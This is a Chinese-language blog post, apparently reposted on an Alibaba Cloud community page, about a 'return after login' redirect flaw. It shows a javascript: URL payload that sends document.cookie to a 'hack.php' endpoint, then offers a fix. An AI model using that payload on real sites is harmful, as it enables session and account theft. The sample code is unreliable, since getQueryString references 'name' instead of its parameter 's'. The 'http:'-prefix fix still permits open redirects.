javascript實現“登入後跳回之前頁面”的漏洞

來源:互聯網
上載者:User

www.xxx.com網站有個登入頁面login.htm,登入之後需要跳到之前的頁面www.yyy.com

url形式如下:http://www.xxx.com/login.htm?returnurl=http://www.yyy.com

long.htm代碼裡面通過javascript跳轉:

/**
* javascript擷取URL指定參數對應的值
* @method getQueryString
* @param {string} s 參數名
* @return {string}
*/
function getQueryString(s){
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return r[2]; return "";
}

location.href=getQueryString("returnurl");

這看上去沒問題,滿足業務需求,但是有個js漏洞 (感謝csy同學指出)

如果url變成:

http://www.xxx.com/login.htm?returnurl=javascript:alert(document.cookie);

登入完之後就能取得整個本地cookie。

 

更進一步,url變成:http://www.xxx.com/login.htm?returnurl=javascript:var%20img%20=%20document.createElement%28%27img%27%29;img.src=%27hack.php?cookie=%27+document.cookie;document.body.appendChild%28img%29;

如果惡意使用者散布這個連結,只要一點擊,就可以偷取使用者的cookie,從而類比使用者登入大多數網站,達到盜取帳號的目的。

 

所以這個漏洞很有必要堵上,處理一下參數裡面的值,比如以判斷參數值是否以http:開頭(我們採用的),總之根據你的業務需要的方式做具體防範。

var returnurl = getQueryString("returnurl");
returnurl = returnurl.toLowerCase().indexOf('http:') == 0 ? returnurl : "";
location.href=returnurl;

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.